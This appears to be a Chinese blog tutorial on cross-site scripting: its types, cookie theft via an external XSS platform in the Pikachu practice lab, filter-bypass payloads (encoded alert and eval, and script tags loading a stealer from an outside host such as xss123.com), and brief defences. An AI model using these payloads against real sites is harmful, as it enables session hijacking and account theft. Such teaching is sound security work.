XSS跨站脚本及其漏洞

XSS跨站脚本

xss漏洞原理:web应用程序对用户输入的内容和程序输出的内容没有进行严格 的过滤和检验,导致攻击者构造出的恶意代码被带入后,被当作正常的代码输出到前端页面,被浏览器当作有效代码解析执行从而产生危害。

漏洞危害

网站挂马、非法转账、强制发送电子邮件、控制受害者机器向其他网站发起攻击、盗取企业的商业价值、盗取各类账号密码

漏洞分类

反射型、存储型、DOM型

反射型XSS

漏洞介绍

定义:反射型XSS又称非持久性XSS、反射型XSS的恶意代码被写在web应用的参数中,需要受害者点击恶意代码链接,触发XSS攻击。

特点:攻击是一次性的

反射性XSS,属于交互触发的漏洞,需要用户主动点击才能触发,所以需要

攻击者主动将包含恶意代码的URL发送给用户。

漏洞发现点
网站的搜索栏:输入搜索框里的内容可以在页面上面显示出来,会存在XSS漏洞。
用户登录入口;输入登录信息点击登陆后,账号框里面账号不会消失,可能存在,这就要点开网页检查html代码,并在账号框里面要先进行标签闭合。
输入表单等地方;
​
存储型XSS

漏洞介绍:

定义:存储型XSS又称为持久型跨站脚本,因为XSS代码不在参数中,而是被写入数据库中或文件中。当用户浏览这个页面或内容时,触发代码加载执行。

特点:攻击代码脚本会永久存放在数据库或文件中,具有很高的隐蔽性。

# 攻击过程:

  1. 攻击者向Web界面插入恶意的XSS攻击代码

  1. Web服务器会将其结果保存到数据库中

  1. 用户正常访问Web页面

  1. Web页面将数据库的数据以及视图返回给前端,前端渲染并加载恶意的数据

  1. 客户端渲染视图,加载XSS代码并向攻击者的Web服务器发送敏感信息

  1. 攻击者读取用户的敏感信息

DOM型XSS

漏洞介绍:

定义:它的攻击代码并不需要服务器解析响应,触发XSS靠的是浏览器端的 DOM解析 ,当JS脚本从URL或页面中获得数据并将其传递到支持动态代码执行的接收器时,就会产生基于DOM的XSS漏洞。

漏洞成因: 基于DoM文档对象的一种漏洞,并且DOM型XSS是基于JS上的,并不需要与服务器进行交互。

# 具体攻击流程

  1. 攻击者将Payload放置咋URL链接中(针对GET型反射XSS)

  1. 用户点击恶意链接,并打开浏览器

  1. 此时浏览器客户端并不会发起HTTP请求到WEB服务器,而是在浏览器客户端执行XSS代码

  1. 此时将XSS代码执行结果发送给攻击者的恶意服务器

  1. 攻击者访问自己的XSS平台并读取用户的敏感信息

XSS-窃取Cookie

步骤一:在XSS以下网站注册账号并登陆,在我的项目点击"创建"并填写项目名称,下一步

步骤二:在项目配置中选择"超级默认模块"点击下一步,便可获取其攻击的XSS语句

步骤三:随便打开一个Pikachu平台并使用账号登录...到XSS模块中执行恶意攻击代码..

步骤四:此时回到平台上可看到其劫持的Cookie信息...

XSS绕过与挖掘

# 预定义字符

○ & (和号)成为 &
○ " (双引号)成为 "
○ ' (单引号)成为 '
○ < (小于)成为 &lt;
○ >(大于)成为 &gt;
但是有在 input 这些标签里是不用考虑标签实体化,因为用不上<>这两个标签:
<input type="text" name="username" value="" οnclick="javascript:alert('xss');"/>
# Payload
&lt;script&gt;alert(&quot;xss&quot;)&lt;/script&gt;
XSS绕过方法

过滤alert

<script>prompt(/xss/);</script>
​
<script>confirm(1);</script>
​
<script src=http://www.xss123.com/eciAKj?1623635663></script>

GPC过滤字符

如果 gpc 开启的时候,特殊字符会被加上斜杠即,'变成\' ,xss 攻击代码不要带用单引号或双引号。
绕过 gpc 在 php 高版本 gpc 默认是没有的,但是开发程序员会使用
addcslashes() 对特殊字符进行转义。
# 案例代码
这个是执行不了的
<script src='http://www.xss123.com/JGdbsl?1623638390'></script>
没有单引号可执行
<script src=//www.xss123.com/JGdbsl?1623638390></script>

Ascii编码

# fromCharCode() 可接受一个指定的 Unicode 值,然后返回一个字符串
<script>alert(String.fromCharCode(88,83,83))</script>

URL编码

<a href="javascript:%61%6c%65%72%74%28%32%29">123</a>

JS编码

# 16 进制编码
<script>eval("\x61\x6c\x65\x72\x74\x28\x31\x29")</script>

HTML编码

Base64编码

构造事件绕过

其他绕过方法

XSS漏洞防御

对输入(和 URL 参数)进行过滤,对输出进行 HTML实体化编码 ,也就是对提交的所有内容进行过滤,对 url 中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行 html 编码,使脚本无法在浏览器中执行;

漏洞挖掘

怎么挖XSS?

1.寻找用户输入的内容会被显示到页面中的功能点(搜索框、登录框等)

2.寻找用户插入到数据库中的数据,会被展示到页面上的功能点(注册框、留言板等)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值